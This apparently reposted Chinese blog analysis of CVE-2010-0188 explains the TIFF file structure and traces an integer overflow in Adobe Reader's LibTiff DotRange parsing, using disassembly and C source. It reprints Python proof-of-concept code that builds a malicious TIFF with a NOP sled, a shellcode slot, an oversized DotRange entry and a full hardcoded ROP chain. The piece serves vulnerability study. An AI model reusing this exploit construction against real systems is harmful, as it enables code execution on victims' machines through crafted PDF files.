您的位置:首页 > 其它

Adobe PDF LibTiff Integer Overflow CVE-2010-0188分析

2013-08-30 21:54 501 查看
一,TIFF图像格式介绍

TIFF文件分为文件头IFH和IFD两部分。

IFH结构见下图



共有8字节。其中

0-1 规定为“II”或“MM”,Intel/Mortorola类型的字节序列

2-3 TIFF版本号,为向下兼容,值为42

4-7 第一个IFD的偏移量

IFD结构见下图



IFD由连续存储的DE组成。

0-1 IFD中DE个数

2-13 第一个DE

14-25 第二个DE

……

1+12*DE数 下一个IFD相对于文件头的偏移量,若为NULL表示本IFD是最后一个。

DE由连续的12字节表示

0-1 tag指出该DE所表示的图像属性,在同一个IFD中,它总是递增的。

2-3 value的数据类型。

4-7 value的数据长度。

8-11 valueOffset偏移量。为了节省空间,如果此DE值长度不足4字节,就在valueOffset中直接存储。

下表列出了tag所表示的图像属性

标签名 标签的ID号(十进制)

ImageWidth 256

ImageLength 257

Compression 259

PhotometricInterpretation 262

StripOffsets 273

RowsPerStrip 278

StripByteCounts 279

XResolution 282

YResolution 283

ResolutionUnit 296

DotRange 336

以下列出了type各值的含义

1 = BYTE

2 = ASCII

3 = SHORT

4 = LONG

5 = RATIONAL

6 = SBYTE

7 = UNDEFINED

8 = SSHORT

9 = SLONG

10= SRATIONAL

11= FLOAT

12= DOUBLE

二,漏洞产生的原因

漏洞出在对DotRange属性的解析上。

DotRange一般为两个值,即DotRange[0]和DotRange[1]。DotRange标签是一个目录项结构,12字节的数据定义了该标签的TAG、数据类型,数据长度以及值偏移。通常情况下,DotRange的目录项结构是这个样子的:

TAG Type Length Value/Offset

0x0150 0x0003/0x0001 0x00000002 0xAAAAAAAA

其中属性应不超过2。当Length>2时,adobe reader在解析这个属性时,会根据offset的值,读取文件内容,造成栈溢出,最终执行shellcode。

查看PoC,可以看到PDF中嵌入的TIFF图像的结构。PoC中生成TIFF图像的代码如下

SHELLCODE_OFFSET = 0x555
TIFF_OFSET = 0x2038

def gen_tiff(self):
tiff =  '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)

tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

# First IFD
tiff += "\x07\x00"	#number of DE = 7
tiff += "\x00\x01\x03\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# ImageWidth
tiff += "\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# ImageHeigth
tiff += "\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# compression
tiff += "\x06\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00"	# PhotometricInterpretation
tiff += "\x11\x01\x04\x00\x01\x00\x00\x00\x08\x00\x00\x00"	# Stripoffset
tiff += "\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20\x00\x00"	# stripbytecounts
tiff += "\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00"	# Dot Range

# Next IFD: no more IFD
tiff += "\x00\x00\x00\x00"

# junk
tiff += "\x00\x0C\x0C\x08\x24\x01\x01\x00"

# start of ROP
tiff += "\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff
首先是文件头,\x49\x49\x2a\x00,表示Intel字节序列,即Little-Endian。

然后是第一个IFD的偏移量,\x38\x20。

然后是用\x90填充,接着放置shellcode,然后又是\x90填充。

接下来就是第一个IFD结构,前两个字节表示有7个DE结构,接着依次是7个DE结构的具体内容。

IFD结构后面是4个\x00,表示只有一个IFD结构。

紧接着是8字节的junk数据(后面会说为什么有这8个字节),然后就是ROP链。

需要注意的是第7个DE结构。

\x50\x01 \x03\x00 \xCC\x00\x00\x00 \x92\x20\x00\x00 # DotRange

其中红色的部分就是DotRange的长度,设置成了0xCC>2。加粗部分是偏移量,为0x2092,刚好是junk数据相对于文件头的偏移量

三、程序流程分析

分析后可以发现此漏洞与CVE-2006-3459如出一辙,可以下载tif_dirread.c文件对比分析。

其中函数的调用关系如下图:



TIFFReadDirectory()中调用TIFFFetchShortPair()的语句如下:

case TIFFTAG_PAGENUMBER:
case TIFFTAG_HALFTONEHINTS:
case TIFFTAG_YCBCRSUBSAMPLING:
case TIFFTAG_DOTRANGE:
(void) TIFFFetchShortPair(tif, dp);
break;


AcroForm!DllUnregisterServer+0x49f8af处,为TIFFFetchShortPair()的入口,汇编如下

.text:20CB59F7                 push    ebp
.text:20CB59F8                 mov     ebp, esp
.text:20CB59FA                 push    ecx
.text:20CB59FB                 movzx   eax, word ptr [esi+2] ; get the type of DE
.text:20CB59FF                 dec     eax
.text:20CB5A00                 jz      short loc_20CB5A2A ; TIFF_BYTE
.text:20CB5A02                 dec     eax
.text:20CB5A03                 dec     eax
.text:20CB5A04                 jz      short loc_20CB5A0F ; TIFF_SHORT
.text:20CB5A06                 sub     eax, 3
.text:20CB5A09                 jz      short loc_20CB5A2A ; TIFF_SBYTE
.text:20CB5A0B                 dec     eax
.text:20CB5A0C                 dec     eax
.text:20CB5A0D                 jnz     short loc_20CB5A5A ; TIFF_SSHORT
可以看到,程序一开始申请了4字节的局部变量(push ecx),然后取DE的type,接下来是对其进行比较,然后跳转到处理函数。DotRange的type为3(TIFF_SHORT),会跳转到loc_20CB5A0F。

.text:20CB5A0F                 lea     eax, [ebp+var_4]
.text:20CB5A12                 mov     ecx, esi
.text:20CB5A14                 mov     edx, edi
.text:20CB5A16                 call    loc_20CB59A0 ; call TIFFFetchShortArray()


对应C代码为:

uint16 v[2];
int ok = 0;

switch (dir->tdir_type) {
case TIFF_SHORT:
case TIFF_SSHORT:
ok = TIFFFetchShortArray(tif, dir, v);
break;
case TIFF_BYTE:
case TIFF_SBYTE:
ok  = TIFFFetchByteArray(tif, dir, v);
break;
}


注意uint16 v[2];就是申请的局部变量,总共4个字节。

loc_20CB59A0处,就是TIFFFetchShortArray()函数的入口,如下

.text:20CB59A0                 push    ebx
.text:20CB59A1                 push    esi
.text:20CB59A2                 mov     esi, ecx
.text:20CB59A4                 mov     ecx, [esi+4] ; length = 0xCC
.text:20CB59A7                 cmp     ecx, 2
.text:20CB59AA                 mov     ebx, edx
.text:20CB59AC                 ja      short loc_20CB59E7
比较length与2,不小于则跳转到loc_20CB59E7;

.text:20CB59E7                 push    eax		; v
.text:20CB59E8                 call    sub_20CB56A5	; call TIFFFetchData()


将上面申请的局部变量v作为参数,调用TIFFFetchData()。对应C代码如下

if (dir->tdir_count <= 2) {
...
} else
return (TIFFFetchData(tif, dir, (char *)v) != 0);


TIFFFetchData()的C代码为

TIFFFetchData(TIFF* tif, TIFFDirEntry* dir, char* cp)
{
int w = tiffDataWidth[dir->tdir_type];
tsize_t cc = dir->tdir_count * w;

if (!isMapped(tif)) {
if (!SeekOK(tif, dir->tdir_offset))
goto bad;
if (!ReadOK(tif, cp, cc))
goto bad;
} else {
if (dir->tdir_offset + cc > tif->tif_size)
goto bad;
_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);
}

......
}


其中cp为TIFFFetchShortPair()函数中申请的局部变量uint16 v[2];,tif->tif_base + dir->tdir_offset是DotRange中存储的偏移量,即junk的起始处。8个字节的junk会刚好将栈中的局部变量v(4个字节)和ebp填充,从而将TIFFFetchShortPair()函数的返回地址覆盖为rop链。

这里就是调用_TIFFmemcpy()函数了。

.text:20CB56F1                 push    edi ; n
.text:20CB56F2                 push    [ebp+Dst] ; dest
.text:20CB56F5                 push    dword ptr [ebx+194h] ; src
.text:20CB56FB                 call    dword ptr [ebx+198h]


进入_TIFFmemcpy()后,再经过一系列处理,来到这里

209D4572  |. 57             |PUSH EDI                                ; /n
209D4573  |. 03C1           |ADD EAX,ECX                             ; |
209D4575  |. 50             |PUSH EAX                                ; |src
209D4576  |. FF75 08        |PUSH DWORD PTR SS:[EBP+8]               ; |dest
209D4579  |. E8 70E1E2FF    |CALL <JMP.&MSVCR80.memcpy>              ; \memcpy


这儿就是真正调用memcpy函数覆盖栈了。

接下来函数层层返回,直到AcroForm!DllUnregisterServer+0x49f915,这儿就是TIFFFetchShortPair()函数返回的地方,之后程序就转入ROP链,进而执行shellcode。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: